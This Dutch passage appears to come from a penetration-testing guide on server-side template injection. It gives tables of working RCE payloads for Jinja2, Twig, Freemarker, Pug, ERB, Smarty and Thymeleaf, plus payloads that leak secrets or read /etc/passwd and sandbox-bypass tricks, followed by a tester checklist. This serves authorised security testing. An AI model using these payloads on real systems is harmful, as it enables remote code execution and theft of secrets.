De template engine is een drukpers. Gutenberg begreep dat de kracht van de drukpers lag in het feit dat de drukker bepaalde wat er werd gedrukt. Niet de lezer. Niet de voorbijganger. De drukker. In de vijfhonderd jaar sinds Gutenberg zijn we erin geslaagd om dat principe te vergeten en de controle over de drukplaten aan willekeurige internetgebruikers te geven.
Gutenberg zou het snappen. Maar hij zou het niet goedkeuren.
7.10 Referentietabel
| Engine | Taal | Detectie | RCE Payload |
|---|---|---|---|
| Jinja2 | Python | {{7*7}}=49, {{7*'7'}}=‘7777777’ |
{{cycler.__init__.__globals__.os.popen('id').read()}} |
| Twig | PHP | {{7*7}}=49, {{7*'7'}}=49 |
{{[0]\|reduce('system','id')}} |
| Freemarker | Java | ${7*7}=49, ${"test"}=‘test’ |
${"freemarker.template.utility.Execute"?new()("id")} |
| Pug | Node.js | #{7*7}=49 |
#{global.process.mainModule.require('child_process').execSync('id')} |
| ERB | Ruby | <%= 7*7 %>=49 |
<%= system('id') %> |
| Smarty | PHP | {7*7}=49 |
{system('id')} |
| Velocity | Java | $class.inspect("java.lang.Runtime") |
Via reflection chain |
| Thymeleaf | Java | *{7*7}=49, ${7*7}=49 |
${T(java.lang.Runtime).getRuntime().exec('id')} |
Info disclosure payloads
| Engine | Payload | Resultaat |
|---|---|---|
| Jinja2 | {{config\|pprint}} |
Flask configuratie incl. SECRET_KEY |
| Jinja2 | {{request.environ}} |
Request omgevingsvariabelen |
| Twig | {{dump(app)}} |
Symfony applicatie-object |
| Twig | {{'/etc/passwd'\|file_excerpt(1,30)}} |
Bestandsinhoud |
| Freemarker | ${.version} |
Freemarker versie |
| Freemarker | ${.data_model} |
Beschikbare template variabelen |
Filter bypass technieken
| Techniek | Voorbeeld | Werkt voor |
|---|---|---|
attr() filter |
""\|attr("__class__") |
Jinja2 __ filter bypass |
| String concatenatie | {% set x = "__cla" ~ "ss__" %} |
Jinja2 keyword filter bypass |
| Variabele toewijzing | {% set cls = "__class__" %} |
Jinja2 directe syntax filter |
Callback via reduce |
{{[0]\|reduce('system','id')}} |
Twig functie-aanroep restrictie |
Callback via sort |
{{['id']\|sort('passthru')}} |
Twig functie-aanroep restrictie |
?new() built-in |
${"...Execute"?new()("id")} |
Freemarker klasse-instantiatie |
7.11 Checklist voor testers
Identificeer template injection punten: Test alle invoervelden, URL-parameters, headers, en formuliervelden met
{{7*7}},${7*7},<%= 7*7 %>, en#{7*7}.Identificeer de engine: Gebruik de beslisboom met type coercion (
{{7*'7'}}). Check ook foutmeldingen voor engine-naam en versie.Info disclosure eerst: Probeer
{{config|pprint}}(Jinja2),{{dump(app)}}(Twig),${.version}(Freemarker) voor waardevolle informatie zonder RCE.RCE proberen: Gebruik de engine-specifieke payloads uit de IB command files. Begin met de eenvoudigste payload en escaleer.
Sandbox testen: Als de eerste payload niet werkt, probeer filter bypass technieken:
attr(), string concatenatie, alternatieve routes.Impact demonstreren: Voer
idenwhoamiuit voor bewijs. Lees/etc/passwdof een applicatie-configuratiebestand. Bouw geen reverse shell tenzij dat in scope is.Documenteer de keten: Beschrijf de detectie, de engine- identificatie, de payload, en het resultaat stap voor stap.
IB – Gebruik de engine-specifieke command files
(web_ssti_jinja, web_ssti_freemarker,
web_ssti_twig, web_ssti_pug) als naslagwerk
tijdens je test. Elke file is een zelfstandige referentie voor die
specifieke engine, inclusief tips voor bekende kwetsbare
applicaties.
In 1440 vertrouwde Gutenberg erop dat alleen hij en zijn medewerkers de drukplaten aanraakten. In 2026 vertrouwen wij erop dat gebruikers geen accolades typen. De geschiedenis leert ons dat vertrouwen geen beveiligingsmaatregel is.